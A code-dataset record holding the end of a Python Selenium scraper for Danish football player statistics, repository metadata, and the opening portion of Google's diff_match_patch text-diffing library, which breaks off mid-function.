'player', 'club', 'matches', 'clearances', 'blocks', 'interceptions', 'tackles',
'ground_duels_won', 'aerial_duels_won',
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_defensive_stats['player'] = player_names
player_defensive_stats[player_defensive_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_defensive_stats
def get_player_fitness_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to offensive stats page
button = driver.find_element_by_xpath(f"//button[text()='fitness']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages.split('.')[-1]
player_fitness_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'minutes', 'meters_run', 'sprints', 'top_speed', 'average_speed', 'run_high_speed'
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_fitness_stats['player'] = player_names
player_fitness_stats[player_fitness_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_fitness_stats
def get_player_goalkeeping_stats(driver, url, get_all=False):
if get_all == False:
driver.get(url)
time.sleep(3)
# change to player stats
if get_all == False:
player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div/div/article/div[2]/div/div/section[1]/div/div[1]/div/div/a[2]').click()
time.sleep(3)
# Click button to offensive stats page
button = driver.find_element_by_xpath(f"//button[text()='målmand']")
button.click()
# get number of player pages
pages = driver.find_element_by_class_name('pagination').text
max_page = pages[-1]
player_goalkeeper_stats = pd.DataFrame(columns=[
'player', 'club', 'matches', 'goals_against', 'shot_against', 'saves', 'save_percentage', 'clean_sheets',
'saves_from_shots_in_box', 'saves_from_outside_box', 'balls_catched', 'balls_punched',
])
time.sleep(3)
player_names = []
player_stats = []
for i in range(1, int(max_page)+1):
if i != 1:
# Click to next page
button = driver.find_element_by_xpath(f"//button[text()={str(i)}]")
button.click()
time.sleep(5)
# Get player names
players_table = driver.find_element_by_class_name('players')
rows = players_table.find_elements_by_class_name('name') # get all of the rows in the table
for row in rows:
player_names.append(row.text)
# Get player stats
stats_table = driver.find_element_by_class_name('stats-table')
player_table = stats_table.find_elements_by_css_selector('tr')
for player in player_table[1:]:
player_stats.append(player.text.split(' '))
player_goalkeeper_stats['player'] = player_names
player_goalkeeper_stats[player_goalkeeper_stats.columns[1:]] = player_stats
if get_all == False:
driver.close()
return player_goalkeeper_stats
def get_all_player_stats(driver, url):
player_overall_stats = get_player_overall_stats(driver, url, get_all=True)
time.sleep(5)
player_offensive_stats = get_player_offensive_stats(driver, url, get_all=True)
time.sleep(5)
player_goals_stats = get_player_goals_stats(driver, url, get_all=True)
time.sleep(5)
player_pass_stats = get_player_pass_stats(driver, url, get_all=True)
time.sleep(5)
player_defensive_stats = get_player_defensive_stats(driver, url, get_all=True)
time.sleep(5)
player_fitness_stats = get_player_fitness_stats(driver, url, get_all=True)
time.sleep(5)
player_goalkeeper_stats = get_player_goalkeeping_stats(driver, url, get_all=True)
time.sleep(5)
driver.close()
# Data is splitted into outfield players and goalkeepers, as goalkeepers have different stats
dfs_goalkeeper = [player_overall_stats, player_offensive_stats, player_defensive_stats, player_fitness_stats,
player_goals_stats, player_goalkeeper_stats, player_pass_stats]
dfs_players = [player_overall_stats, player_offensive_stats, player_defensive_stats, player_fitness_stats,
player_goals_stats, player_pass_stats]
# Merge outfield and goalkeeper dataframes
df_goalkeeper_final = reduce(lambda left, right: pd.merge(left, right,
on=['player', 'club', 'matches'],
suffixes=['', '_y']), dfs_goalkeeper)
df_player_final = reduce(lambda left, right: pd.merge(left, right,
on=['player', 'club', 'matches'],
suffixes=['', '_y']), dfs_players)
# Remove duplicate columns
df_goalkeeper_final.drop(df_goalkeeper_final.filter(regex='_y$').columns.tolist(), axis=1, inplace=True)
df_player_final.drop(df_player_final.filter(regex='_y$').columns.tolist(), axis=1, inplace=True)
# Remove goalkeepers from player dataframe
df_player_final = df_player_final[~df_player_final['player'].isin(df_goalkeeper_final['player'])]
return df_player_final, df_goalkeeper_final
|
[
"ronsholt32@gmail.com"
] |
ronsholt32@gmail.com
|
e4a2ebe390211d6803336853fae8ab415dc3c629
|
4baf2e3f52bcbf447b368a5832ae18fd0339431c
|
/itchanged/diff_match_patch.py
|
4dae2a004574271885d834205ab24de64bf56e12
|
[] |
no_license
|
markng/itchanged-server
|
a18798a6670ba2dc210e783d1dd140331aa36b4f
|
16765f3a6c51ff6a581bdfff3ee259fcf8520e1c
|
refs/heads/master
| 2016-09-06T04:06:41.132101
| 2010-07-12T14:27:21
| 2010-07-12T14:27:21
| 530,826
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 64,638
|
py
|
#!/usr/bin/python2.4
"""Diff Match and Patch
Copyright 2006 Google Inc.
http://code.google.com/p/google-diff-match-patch/
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
"""Functions for diff, match and patch.
Computes the difference between two texts to create a patch.
Applies the patch onto another text, allowing for errors.
"""
__author__ = 'fraser@google.com (Neil Fraser)'
import math
import time
import urllib
import re
class diff_match_patch:
"""Class containing the diff, match and patch methods.
Also contains the behaviour settings.
"""
def __init__(self):
"""Inits a diff_match_patch object with default settings.
Redefine these in your program to override the defaults.
"""
# Number of seconds to map a diff before giving up (0 for infinity).
self.Diff_Timeout = 1.0
# Cost of an empty edit operation in terms of edit characters.
self.Diff_EditCost = 4
# The size beyond which the double-ended diff activates.
# Double-ending is twice as fast, but less accurate.
self.Diff_DualThreshold = 32
# At what point is no match declared (0.0 = perfection, 1.0 = very loose).
self.Match_Threshold = 0.5
# How far to search for a match (0 = exact location, 1000+ = broad match).
# A match this many characters away from the expected location will add
# 1.0 to the score (0.0 is a perfect match).
self.Match_Distance = 1000
# When deleting a large block of text (over ~64 characters), how close does
# the contents have to match the expected contents. (0.0 = perfection,
# 1.0 = very loose). Note that Match_Threshold controls how closely the
# end points of a delete need to match.
self.Patch_DeleteThreshold = 0.5
# Chunk size for context length.
self.Patch_Margin = 4
# How many bits in a number?
# Python has no maximum, thus to disable patch splitting set to 0.
# However to avoid long patches in certain pathological cases, use 32.
# Multiple short patches (using native ints) are much faster than long ones.
self.Match_MaxBits = 32
# DIFF FUNCTIONS
# The data structure representing a diff is an array of tuples:
# [(DIFF_DELETE, "Hello"), (DIFF_INSERT, "Goodbye"), (DIFF_EQUAL, " world.")]
# which means: delete "Hello", add "Goodbye" and keep " world."
DIFF_DELETE = -1
DIFF_INSERT = 1
DIFF_EQUAL = 0
def diff_main(self, text1, text2, checklines=True):
"""Find the differences between two texts. Simplifies the problem by
stripping any common prefix or suffix off the texts before diffing.
Args:
text1: Old string to be diffed.
text2: New string to be diffed.
checklines: Optional speedup flag. If present and false, then don't run
a line-level diff first to identify the changed areas.
Defaults to true, which does a faster, slightly less optimal diff.
Returns:
Array of changes.
"""
# Check for equality (speedup)
if text1 == text2:
return [(self.DIFF_EQUAL, text1)]
# Trim off common prefix (speedup)
commonlength = self.diff_commonPrefix(text1, text2)
commonprefix = text1[:commonlength]
text1 = text1[commonlength:]
text2 = text2[commonlength:]
# Trim off common suffix (speedup)
commonlength = self.diff_commonSuffix(text1, text2)
if commonlength == 0:
commonsuffix = ''
else:
commonsuffix = text1[-commonlength:]
text1 = text1[:-commonlength]
text2 = text2[:-commonlength]
# Compute the diff on the middle block
diffs = self.diff_compute(text1, text2, checklines)
# Restore the prefix and suffix
if commonprefix:
diffs[:0] = [(self.DIFF_EQUAL, commonprefix)]
if commonsuffix:
diffs.append((self.DIFF_EQUAL, commonsuffix))
#self.diff_cleanupMerge(diffs)
self.diff_cleanupSemantic(diffs)
return diffs
def diff_compute(self, text1, text2, checklines):
"""Find the differences between two texts. Assumes that the texts do not
have any common prefix or suffix.
Args:
text1: Old string to be diffed.
text2: New string to be diffed.
checklines: Speedup flag. If false, then don't run a line-level diff
first to identify the changed areas.
If true, then run a faster, slightly less optimal diff.
Returns:
Array of changes.
"""
if not text1:
# Just add some text (speedup)
return [(self.DIFF_INSERT, text2)]
if not text2:
# Just delete some text (speedup)
return [(self.DIFF_DELETE, text1)]
if len(text1) > len(text2):
(longtext, shorttext) = (text1, text2)
else:
(shorttext, longtext) = (text1, text2)
i = longtext.find(shorttext)
if i != -1:
# Shorter text is inside the longer text (speedup)
diffs = [(self.DIFF_INSERT, longtext[:i]), (self.DIFF_EQUAL, shorttext),
(self.DIFF_INSERT, longtext[i + len(shorttext):])]
# Swap insertions for deletions if diff is reversed.
if len(text1) > len(text2):
diffs[0] = (self.DIFF_DELETE, diffs[0][1])
diffs[2] = (self.DIFF_DELETE, diffs[2][1])
return diffs
longtext = shorttext = None # Garbage collect.
# Check to see if the problem can be split in two.
hm = self.diff_halfMatch(text1, text2)
if hm:
# A half-match was found, sort out the return data.
(text1_a, text1_b, text2_a, text2_b, mid_common) = hm
# Send both pairs off for separate processing.
diffs_a = self.diff_main(text1_a, text2_a, checklines)
diffs_b = self.diff_main(text1_b, text2_b, checklines)
# Merge the results.
return diffs_a + [(self.DIFF_EQUAL, mid_common)] + diffs_b
# Perform a real diff.
if checklines and (len(text1) < 100 or len(text2) < 100):
checklines = False # Too trivial for the overhead.
if checklines:
# Scan the text on a line-by-line basis first.
(text1, text2, linearray) = self.diff_linesToChars(text1, text2)
diffs = self.diff_map(text1, text2)
if not diffs: # No acceptable result.
diffs = [(self.DIFF_DELETE, text1), (self.DIFF_INSERT, text2)]
if checklines:
# Convert the diff back to original text.
self.diff_charsToLines(diffs, linearray)
# Eliminate freak matches (e.g. blank lines)
self.diff_cleanupSemantic(diffs)
# Rediff any replacement blocks, this time character-by-character.
# Add a dummy entry at the end.
diffs.append((self.DIFF_EQUAL, ''))
pointer = 0
count_delete = 0
count_insert = 0
text_delete = ''
text_insert = ''
while pointer < len(diffs):
if diffs[pointer][0] == self.DIFF_INSERT:
count_insert += 1
text_insert += diffs[pointer][1]
elif diffs[pointer][0] == self.DIFF_DELETE:
count_delete += 1
text_delete += diffs[pointer][1]
elif diffs[pointer][0] == self.DIFF_EQUAL:
# Upon reaching an equality, check for prior redundancies.
if count_delete >= 1 and count_insert >= 1:
# Delete the offending records and add the merged ones.
a = self.diff_main(text_delete, text_insert, False)
diffs[pointer - count_delete - count_insert : pointer] = a
pointer = pointer - count_delete - count_insert + len(a)
count_insert = 0
count_delete = 0
text_delete = ''
text_insert = ''
pointer += 1
diffs.pop() # Remove the dummy entry at the end.
return diffs
def diff_linesToChars(self, text1, text2):
"""Split two texts into an array of strings. Reduce the texts to a string
of hashes where each Unicode character represents one line.
Args:
text1: First string.
text2: Second string.
Returns:
Three element tuple, containing the encoded text1, the encoded text2 and
the array of unique strings. The zeroth element of the array of unique
strings is intentionally blank.
"""
lineArray = [] # e.g. lineArray[4] == "Hello\n"
lineHash = {} # e.g. lineHash["Hello\n"] == 4
# "\x00" is a valid character, but various debuggers don't like it.
# So we'll insert a junk entry to avoid generating a null character.
lineArray.append('')
def diff_linesToCharsMunge(text):
"""Split a text into an array of strings. Reduce the texts to a string
of hashes where each Unicode character represents one line.
Modifies linearray and linehash through being a closure.
Args:
text: String to encode.
Returns:
Encoded string.
"""
chars = []
# Walk the text, pulling out a substring for each line.
# text.split('\n') would would temporarily double our memory footprint.
# Modifying text would create many large strings to garbage collect.
lineStart = 0
lineEnd = -1
while lineEnd < len(text) - 1:
lineEnd = text.find('\n', lineStart)
if lineEnd == -1:
lineEnd = len(text) - 1
line = text[lineStart:lineEnd + 1]
lineStart = lineEnd + 1
if line in lineHash:
chars.append(unichr(lineHash[line]))
else:
lineArray.append(line)
lineHash[line] = len(lineArray) - 1
chars.append(unichr(len(lineArray) - 1))
return "".join(chars)
chars1 = diff_linesToCharsMunge(text1)
chars2 = diff_linesToCharsMunge(text2)
return (chars1, chars2, lineArray)
def diff_charsToLines(self, diffs, lineArray):
"""Rehydrate the text in a diff from a string of line hashes to real lines
of text.
Args:
diffs: Array of diff tuples.
lineArray: Array of unique strings.
"""
for x in xrange(len(diffs)):
text = []
for char in diffs[x][1]:
text.append(lineArray[ord(char)])
diffs[x] = (diffs[x][0], "".join(text))
def diff_map(self, text1, text2):
"""Explore the intersection points between the two texts.
Args:
text1: Old string to be diffed.
text2: New string to be diffed.
Returns:
Array of diff tuples or None if no diff available.
"""
# Unlike in most languages, Python counts time in seconds.
s_end = time.time() + self.Diff_Timeout # Don't run for too long.
# Cache the text lengths to prevent multiple calls.
text1_length = len(text1)
text2_length = len(text2)
max_d = text1_length + text2_length - 1
doubleEnd = self.Diff_DualThreshold * 2 < max_d
v_map1 = []
v_map2 = []
v1 = {}
v2 = {}
v1[1] = 0
v2[1] = 0
footsteps = {}
done = False
# If the total number of characters is odd, then the front path will
# collide with the reverse path.
front = (text1_length + text2_length) % 2
for d in xrange(max_d):
# Bail out if timeout reached.
if self.Diff_Timeout > 0 and time.time() > s_end:
return None
# Walk the front path one step.
v_map1.append({})
for k in xrange(-d, d + 1, 2):
if k == -d or k != d and v1[k - 1] < v1[k + 1]:
x = v1[k + 1]
else:
x = v1[k - 1] + 1
y = x - k
if doubleEnd:
footstep = (x, y)
if front and footstep in footsteps:
done = True
if not front:
footsteps[footstep] = d
while (not done and x < text1_length and y < text2_length and
text1[x] == text2[y]):
x += 1
y += 1
if doubleEnd:
footstep = (x, y)
if front and footstep in footsteps:
done = True
if not front:
footsteps[footstep] = d
v1[k] = x
v_map1[d][(x, y)] = True
if x == text1_length and y == text2_length:
# Reached the end in single-path mode.
return self.diff_path1(v_map1, text1, text2)
elif done:
# Front path ran over reverse path.
v_map2 = v_map2[:footsteps[footstep] + 1]
a = self.diff_path1(v_map1, text1[:x], text2[:y])
b = self.diff_path2(v_map2, text1[x:], text2[y:])
return a + b
if doubleEnd:
# Walk the reverse path one step.
v_map2.append({})
for k in xrange(-d, d + 1, 2):
if k == -d or k != d and v2[k - 1] < v2[k + 1]:
x = v2[k + 1]
else:
x = v2[k - 1] + 1
y = x - k
footstep = (text1_length - x, text2_length - y)
if not front and footstep in footsteps:
done = True
if front:
footsteps[footstep] = d
while (not done and x < text1_length and y < text2_length and
text1[-x - 1] == text2[-y - 1]):
x += 1
y += 1
footstep = (text1_length - x, text2_length - y)
if not front and footstep in footsteps:
done = True
if front:
footsteps[footstep] = d
v2[k] = x
v_map2[d][(x, y)] = True
if done:
# Reverse path ran over front path.
v_map1 = v_map1[:footsteps[footstep] + 1]
a = self.diff_path1(v_map1, text1[:text1_length - x],
text2[:text2_length - y])
b = self.diff_path2(v_map2, text1[text1_length - x:],
text2[text2_length - y:])
return a + b
# Number of diffs equals number of characters, no commonality at all.
return None
def diff_path1(self, v_map, text1, text2):
"""Work from the middle back to the start to determine the path.
Args:
v_map: Array of paths.
text1: Old string fragment to be diffed.
text2: New string fragment to be diffed.
Returns:
Array of diff tuples.
"""
path = []
x = len(text1)
y = len(text2)
last_op = None
for d in xrange(len(v_map) - 2, -1, -1):
while True:
if (x - 1, y) in v_map[d]:
x -= 1
if last_op == self.DIFF_DELETE:
path[0] = (self.DIFF_DELETE, text1[x] + path[0][1])
else:
path[:0] = [(self.DIFF_DELETE, text1[x])]
last_op = self.DIFF_DELETE
break
elif (x, y - 1) in v_map[d]:
y -= 1
if last_op == self.DIFF_INSERT:
path[0] = (self.DIFF_INSERT, text2[y] + path[0][1])
else:
path[:0] = [(self.DIFF_INSERT, text2[y])]
last_op = self.DIFF_INSERT
break
else:
x -= 1
y -= 1
assert text1[x] == text2[y], ("No diagonal. " +
"Can't happen. (diff_path1)")
if last_op == self.DIFF_EQUAL:
path[0] = (self.DIFF_EQUAL, text1[x] + path[0][1])
else:
path[:0] = [(self.DIFF_EQUAL, text1[x])]
last_op = self.DIFF_EQUAL
return path
def diff_path2(self, v_map, text1, text2):
"""Work from the middle back to the end to determine the path.
Args:
v_map: Array of paths.
text1: Old string fragment to be diffed.
text2: New string fragment to be diffed.
Returns:
Array of diff tuples.
"""
path = []
x = len(text1)
y = len(text2)
last_op = None
for d in xrange(len(v_map) - 2, -1, -1):
while True:
if (x - 1, y) in v_map[d]:
x -= 1
if last_op == self.DIFF_DELETE:
path[-1] = (self.DIFF_DELETE, path[-1][1] + text1[-x - 1])
else:
path.append((self.DIFF_DELETE, text1[-x - 1]))
last_op = self.DIFF_DELETE
break
elif (x, y - 1) in v_map[d]:
y -= 1
if last_op == self.DIFF_INSERT:
path[-1] = (self.DIFF_INSERT, path[-1][1] + text2[-y - 1])
else:
path.append((self.DIFF_INSERT, text2[-y - 1]))
last_op = self.DIFF_INSERT
break
else:
x -= 1
y -= 1
assert text1[-x - 1] == text2[-y - 1], ("No diagonal. " +
"Can't happen. (diff_path2)")
if last_op == self.DIFF_EQUAL:
path[-1] = (self.DIFF_EQUAL, path[-1][1] + text1[-x - 1])
else:
path.append((self.DIFF_EQUAL, text1[-x - 1]))
last_op = self.DIFF_EQUAL
return path
def diff_commonPrefix(self, text1, text2):
"""Determine the common prefix of two strings.
Args:
text1: First string.
text2: Second string.
Returns:
The number of characters common to the start of each string.
"""
# Quick check for common null cases.
if not text1 or not text2 or text1[0] != text2[0]:
return 0
# Binary search.
# Performance analysis: http://neil.fraser.name/news/2007/10/09/
pointermin = 0
pointermax = min(len(text1), len(text2))
pointermid = pointermax
pointerstart = 0
while pointermin < pointermid:
if text1[pointerstart:pointermid] == text2[pointerstart:pointermid]:
pointermin = pointermid
pointerstart = pointermin
else:
pointermax = pointermid
pointermid = int((pointermax - pointermin) / 2 + pointermin)
return pointermid
def diff_commonSuffix(self, text1, text2):
"""Determine the common suffix of two strings.
Args:
text1: First string.
text2: Second string.
Returns:
The number of characters common to the end of each string.
"""
# Quick check for common null cases.
if not text1 or not text2 or text1[-1] != text2[-1]:
return 0
# Binary search.
# Performance analysis: http://neil.fraser.name/news/2007/10/09/
pointermin = 0
pointermax = min(len(text1), len(text2))
pointermid = pointermax
pointerend = 0
while pointermin < pointermid:
if (text1[-pointermid:len(text1) - pointerend] ==
text2[-pointermid:len(text2) - pointerend]):
pointermin = pointermid
pointerend = pointermin
else:
pointermax = pointermid
pointermid = int((pointermax - pointermin) / 2 + pointermin)
return pointermid
def diff_halfMatch(self, text1, text2):
"""Do the two texts share a substring which is at least half the length of
the longer text?
Args:
text1: First string.
text2: Second string.
Returns:
Five element Array, containing the prefix of text1, the suffix of text1,
the prefix of text2, the suffix of text2 and the common middle. Or None
if there was no match.
"""
if len(text1) > len(text2):
(longtext, shorttext) = (text1, text2)
else:
(shorttext, longtext) = (text1, text2)
if len(longtext) < 10 or len(shorttext) < 1:
return None # Pointless.
def diff_halfMatchI(longtext, shorttext, i):
"""Does a substring of shorttext exist within longtext such that the
substring is at least half the length of longtext?
Closure, but does not reference any external variables.
Args:
longtext: Longer string.
shorttext: Shorter string.
i: Start index of quarter length substring within longtext.
Returns:
Five element Array, containing the prefix of longtext, the suffix of
longtext, the prefix of shorttext, the suffix of shorttext and the
common middle. Or None if there was no match.
"""
seed = longtext[i:i + len(longtext) / 4]
best_common = ''
j = shorttext.find(seed)
while j != -1:
prefixLength = self.diff_commonPrefix(longtext[i:], shorttext[j:])
suffixLength = self.diff_commonSuffix(longtext[:i], shorttext[:j])
if len(best_common) < suffixLength + prefixLength:
best_common = (shorttext[j - suffixLength:j] +
shorttext[j:j + prefixLength])
best_longtext_a = longtext[:i - suffixLength]
best_longtext_b = longtext[i + prefixLength:]
best_shorttext_a = shorttext[:j - suffixLength]
best_shorttext_b = shorttext[j + prefixLength:]
j = shorttext.find(seed, j + 1)
if len(best_common) >= len(longtext) / 2:
return (best_longtext_a, best_longtext_b,
best_shorttext_a, best_shorttext_b, best_common)
else:
return None
# First check if the second quarter is the seed for a half-match.
hm1 = diff_halfMatchI(longtext, shorttext, (len(longtext) + 3) / 4)
# Check again based on the third quarter.
hm2 = diff_halfMatchI(longtext, shorttext, (len(longtext) + 1) / 2)
if not hm1 and not hm2:
return None
elif not hm2:
hm = hm1
elif not hm1:
hm = hm2
else:
# Both matched. Select the longest.
if len(hm1[4]) > len(hm2[4]):
hm = hm1
else:
hm = hm2
# A half-match was found, sort out the return data.
if len(text1) > len(text2):
(text1_a, text1_b, text2_a, text2_b, mid_common) = hm
else:
(text2_a, text2_b, text1_a, text1_b, mid_common) = hm
return (text1_a, text1_b, text2_a, text2_b, mid_common)
def diff_cleanupSemantic(self, diffs):
"""Reduce the number of edits by eliminating semantically trivial
equalities.
Args:
diffs: Array of diff tuples.
"""
changes = False
equalities = [] # Stack of indices where equalities are found.
lastequality = None # Always equal to equalities[-1][1]
pointer = 0 # Index of current position.
length_changes1 = 0 # Number of chars that changed prior to the equality.
length_changes2 = 0 # Number of chars that changed after the equality.
while pointer < len(diffs):
if diffs[pointer][0] == self.DIFF_EQUAL: # equality found
equalities.append(pointer)
length_changes1 = length_changes2
length_changes2 = 0
lastequality = diffs[pointer][1]
else: # an insertion or deletion
length_changes2 += len(diffs[pointer][1])
if (lastequality != None and (len(lastequality) <= length_changes1) and
(len(lastequality) <= length_changes2)):
# Duplicate record
diffs.insert(equalities[-1], (self.DIFF_DELETE, lastequality))
# Change second copy to insert.
diffs[equalities[-1] + 1] = (self.DIFF_INSERT,
diffs[equalities[-1] + 1][1])
# Throw away the equality we just deleted.
equalities.pop()
# Throw away the previous equality (it needs to be reevaluated).
if len(equalities) != 0:
equalities.pop()
if len(equalities):
pointer = equalities[-1]
else:
pointer = -1
length_changes1 = 0 # Reset the counters.
length_changes2 = 0
lastequality = None
changes = True
pointer += 1
if changes:
self.diff_cleanupMerge(diffs)
self.diff_cleanupSemanticLossless(diffs)
def diff_cleanupSemanticLossless(self, diffs):
"""Look for single edits surrounded on both sides by equalities
which can be shifted sideways to align the edit to a word boundary.
e.g: The c<ins>at c</ins>ame. -> The <ins>cat </ins>came.
Args:
diffs: Array of diff tuples.
"""
def diff_cleanupSemanticScore(one, two):
"""Given two strings, compute a score representing whether the
internal boundary falls on logical boundaries.
Scores range from 5 (best) to 0 (worst).
Closure, but does not reference any external variables.
Args:
one: First string.
two: Second string.
Returns:
The score.
"""
if not one or not two:
# Edges are the best.
return 5
# Each port of this function behaves slightly differently due to
# subtle differences in each language's definition of things like
# 'whitespace'. Since this function's purpose is largely cosmetic,
# the choice has been made to use each language's native features
# rather than force total conformity.
score = 0
# One point for non-alphanumeric.
if not one[-1].isalnum() or not two[0].isalnum():
score += 1
# Two points for whitespace.
if one[-1].isspace() or two[0].isspace():
score += 1
# Three points for line breaks.
if (one[-1] == "\r" or one[-1] == "\n" or
two[0] == "\r" or two[0] == "\n"):
score += 1
# Four points for blank lines.
if (re.search("\\n\\r?\\n$", one) or
re.match("^\\r?\\n\\r?\\n", two)):
score += 1
return score
pointer = 1
# Intentionally ignore the first and last element (don't need checking).
while pointer < len(diffs) - 1:
if (diffs[pointer - 1][0] == self.DIFF_EQUAL and
diffs[pointer + 1][0] == self.DIFF_EQUAL):
# This is a single edit surrounded by equalities.
equality1 = diffs[pointer - 1][1]
edit = diffs[pointer][1]
equality2 = diffs[pointer + 1][1]
# First, shift the edit as far left as possible.
commonOffset = self.diff_commonSuffix(equality1, edit)
if commonOffset:
commonString = edit[-commonOffset:]
equality1 = equality1[:-commonOffset]
edit = commonString + edit[:-commonOffset]
equality2 = commonString + equality2
# Second, step character by character right, looking for the best fit.
bestEquality1 = equality1
bestEdit = edit
bestEquality2 = equality2
bestScore = (diff_cleanupSemanticScore(equality1, edit) +
diff_cleanupSemanticScore(edit, equality2))
while edit and equality2 and edit[0] == equality2[0]:
equality1 += edit[0]
edit = edit[1:] + equality2[0]
equality2 = equality2[1:]
score = (diff_cleanupSemanticScore(equality1, edit) +
diff_cleanupSemanticScore(edit, equality2))
# The >= encourages trailing rather than leading whitespace on edits.
if score >= bestScore:
bestScore = score
bestEquality1 = equality1
bestEdit = edit
bestEquality2 = equality2
if diffs[pointer - 1][1] != bestEquality1:
# We have an improvement, save it back to the diff.
if bestEquality1:
diffs[pointer - 1] = (diffs[pointer - 1][0], bestEquality1)
else:
del diffs[pointer - 1]
pointer -= 1
diffs[pointer] = (diffs[pointer][0], bestEdit)
if bestEquality2:
diffs[pointer + 1] = (diffs[pointer + 1][0], bestEquality2)
else:
del diffs[pointer + 1]
pointer -= 1
pointer += 1
def diff_cleanupEfficiency(self, diffs):
"""Reduce the number of edits by eliminating operationally trivial
equalities.
Args:
diffs: Array of diff tuples.
"""
changes = False
equalities = [] # Stack of indices where equalities are found.
lastequality = '' # Always equal to equalities[-1][1]
pointer = 0 # Index of current position.
pre_ins = False # Is there an insertion operation before the last equality.
pre_del = False # Is there a deletion operation before the last equality.
post_ins = False # Is there an insertion operation after the last equality.
post_del = False # Is there a deletion operation after the last equality.
while pointer < len(diffs):
if diffs[pointer][0] == self.DIFF_EQUAL: # equality found
if (len(diffs[pointer][1]) < self.Diff_EditCost and
(post_ins or post_del)):
# Candidate found.
equalities.append(pointer)
pre_ins = post_ins
pre_del = post_del
lastequality = diffs[pointer][1]
else:
# Not a candidate, and can never become one.
equalities = []
lastequality = ''
post_ins = post_del = False
else: # an insertion or deletion
if diffs[pointer][0] == self.DIFF_DELETE:
post_del = True
else:
post_ins = True
# Five types to be split:
# <ins>A</ins><del>B</del>XY<ins>C</ins><del>D</del>
# <ins>A</ins>X<ins>C</ins><del>D</del>
# <ins>A</ins><del>B</del>X<ins>C</ins>
# <ins>A</del>X<ins>C</ins><del>D</del>
# <ins>A</ins><del>B</del>X<del>C</del>
if lastequality and ((pre_ins and pre_del and post_ins and post_del) or
((len(lastequality) < self.Diff_EditCost / 2) and
(pre_ins + pre_del + post_ins + post_del) == 3)):
# Duplicate record
diffs.insert(equalities[-1], (self.DIFF_DELETE, lastequality))
# Change second copy to insert.
diffs[equalities[-1] + 1] = (self.DIFF_INSERT,
diffs[equalities[-1] + 1][1])
equalities.pop() # Throw away the equality we just deleted
lastequality = ''
if pre_ins and pre_del:
# No changes made which could affect previous entry, keep going.
post_ins = post_del = True
equalities = []
else:
if len(equalities):
equalities.pop() # Throw away the previous equality
if len(equalities):
pointer = equalities[-1]
else:
pointer = -1
post_ins = post_del = False
changes = True
pointer += 1
if changes:
self.diff_cleanupMerge(diffs)
def diff_cleanupMerge(self, diffs):
"""Reorder and merge like edit sections. Merge equalities.
Any edit section can move as long as it doesn't cross an equality.
Args:
diffs: Array of diff tuples.
"""
diffs.append((self.DIFF_EQUAL, '')) # Add a dummy entry at the end.
pointer = 0
count_delete = 0
count_insert = 0
text_delete = ''
text_insert = ''
while pointer < len(diffs):
if diffs[pointer][0] == self.DIFF_INSERT:
count_insert += 1
text_insert += diffs[pointer][1]
pointer += 1
elif diffs[pointer][0] == self.DIFF_DELETE:
count_delete += 1
text_delete += diffs[pointer][1]
pointer += 1
elif diffs[pointer][0] == self.DIFF_EQUAL:
# Upon reaching an equality, check for prior redundancies.
if count_delete != 0 or count_insert != 0:
if count_delete != 0 and count_insert != 0:
# Factor out any common prefixies.
commonlength = self.diff_commonPrefix(text_insert, text_delete)
if commonlength != 0:
x = pointer - count_delete - count_insert - 1
if x >= 0 and diffs[x][0] == self.DIFF_EQUAL:
diffs[x] = (diffs[x][0], diffs[x][1] +
text_insert[:commonlength])
else:
diffs.insert(0, (self.DIFF_EQUAL, text_insert[:commonlength]))
pointer += 1
text_insert = text_insert[commonlength:]
text_delete = text_delete[commonlength:]
# Factor out any common suffixies.
commonlength = self.diff_commonSuffix(text_insert, text_delete)
if commonlength != 0:
diffs[pointer] = (diffs[pointer][0], text_insert[-commonlength:] +
diffs[pointer][1])
text_insert = text_insert[:-commonlength]
text_delete = text_delete[:-commonlength]
# Delete the offending records and add the merged ones.
if count_delete == 0:
diffs[pointer - count_insert : pointer] = [
(self.DIFF_INSERT, text_insert)]
elif count_insert == 0:
diffs[pointer - count_delete : pointer] = [
(self.DIFF_DELETE, text_delete)]
else:
diffs[pointer - count_delete - count_insert : pointer] = [
(self.DIFF_DELETE, text_delete),
(self.DIFF_INSERT, text_insert)]
pointer = pointer - count_delete - count_insert + 1
if count_delete != 0:
pointer += 1
if count_insert != 0:
pointer += 1
elif pointer != 0 and diffs[pointer - 1][0] == self.DIFF_EQUAL:
# Merge this equality with the previous one.
diffs[pointer - 1] = (diffs[pointer - 1][0],
diffs[pointer - 1][1] + diffs[pointer][1])
del diffs[pointer]
else:
pointer += 1
count_insert = 0
count_delete = 0
text_delete = ''
text_insert = ''
if diffs[-1][1] == '':
